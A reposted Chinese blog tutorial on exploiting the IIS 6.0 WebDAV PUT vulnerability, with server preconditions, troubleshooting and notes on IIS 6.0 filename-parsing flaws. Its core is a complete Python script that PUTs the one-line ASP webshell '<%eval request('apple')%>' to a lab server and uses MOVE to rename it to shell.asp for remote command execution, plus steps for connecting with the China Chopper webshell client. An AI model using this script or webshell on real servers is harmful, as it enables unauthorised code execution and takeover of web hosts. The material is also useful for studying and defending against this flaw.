IIS6.0PUT漏洞的利用


title: IIS6.0 PUT漏洞
tags: 环境配置,漏洞利用
grammar_cjkRuby: true
---

一、IIS6.0PUT漏洞的利用

演示:
转载自:https://www.2cto.com/article/201311/259656.html
利用IIS PUT Scaner扫描有漏洞的iis,此漏洞主要是因为服务器开启了webdav的组件导致的可以扫描到当前的操作,具体操作其实是通过webdav的OPTION来查询是否支持PUT。

具体的原理: http://www.2cto.com/Article/201307/228165.html

为了验证是否是webdav组件的问题,我们现在把webdav禁用掉,立刻就会在put下面显示NO,这就是因为IIS PUT SCANER通过webdav查询的时候查不到PUT了。
1516646-20190831201349520-516272716.png
1516646-20190831201408264-323759925.png

为了下面的实验,先把webdav打开。然后利用桂林老兵的iiswriter
1516646-20190831201419039-1529968513.png

然后提交数据包,会在服务端生成一个1.txt的文件,但是这个文件是无法被iis解析的,所以要利用到的是MOVE,主要目的是为了将txt的文件修改为asp的,从而可以将文件变成可执行的脚本文件。
1516646-20190831201430299-1200286725.png

1516646-20190831201441107-2118408898.png

验证一下,确实存在shell.asp文件
1516646-20190831201459852-1665725945.png

用菜刀链接
1516646-20190831201512221-926197560.png

菜刀成功连接
1516646-20190831201525570-1982378676.png

二、IIS6.0PUT漏洞的利用槽点
1.利用思路总结:

首先PUT(txt)数据包到服务器端,然后利用MOVE方法将上传的数据包脚本更为shell.asp。再访问该脚本即可

2.环境配置:以上是理想情况,实际环境中需要服务器端具备以下前提

IIS6.0写权限开启
IIS6.0允许访问脚本资源权限开启(也可利用解析漏洞解决)
IIS6.0的webDAV扩展设为允许

3.利用途中可能产生的问题

PUT asp脚本到IIS6.0会返回404
所以只能PUT IIS6.0不能解析的文件,如jpg,txt格式

未开启写权限时返回403
在属性中的主目录下开启写入权限

以上权限配置完后PUT脚本显示401
(猜测:服务器的安全配置)
这一步没有思考到解决问题的思路,通过搜索关键字IIS 得出
win系统的network用户 权限管理需要设置读取和运行,写入

返回状态码207代表利用成功
但是如果未开启脚本资源访问权限,则实际并没有更改成功(返回未207)

三、IIS6.0PUT漏洞的利用脚本--python
#encoding="utf-8"
import requests

#分别需要put,move的url
put_url = 'http://192.168.111.139/2.txt'
move_url = 'http://192.168.111.139/2.txt'
move_headers = {
    'Destination':'http://192.168.111.139/shell9.asp'
}
#put的脚本
put_data = "<%eval request('apple')%>"
#最终的连接脚本,但似乎连接不成功
post_data = {
    'apple':''
}
try:
    response = requests.request('PUT',url=put_url,data=put_data)
    if response.status_code == 200:
        response = requests.request('MOVE',url=move_url,headers=move_headers)
        if response.status_code == 207:
            response = requests.post(url='http://192.168.111.139/shell9.asp',data=post_data)
            print(response.content.decode("gb2312"))
        else:
            print(response.status_code)
except:
    pass

顺带复习下IIS6.0的解析漏洞
IIS6.0解析漏洞分两种
1、目录解析
.asp命名的文件夹里的文件都将会被当成ASP文件执行。
2、文件解析
.asp;.jpg 像这种畸形文件名在“;”后面的直接被忽略,也就是说当成 .asp文件执行。
IIS6.0 默认的可执行文件除了asp还包含这三种
.asa .cer .cdx

参考:
https://cloud.tencent.com/info/bb174aee9d971192fa38127e48aadc8b.html
https://www.webshell.cc/4294.html
https://www.2cto.com/article/201311/259656.html

转载于:https://www.cnblogs.com/qianxinggz/p/11440278.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值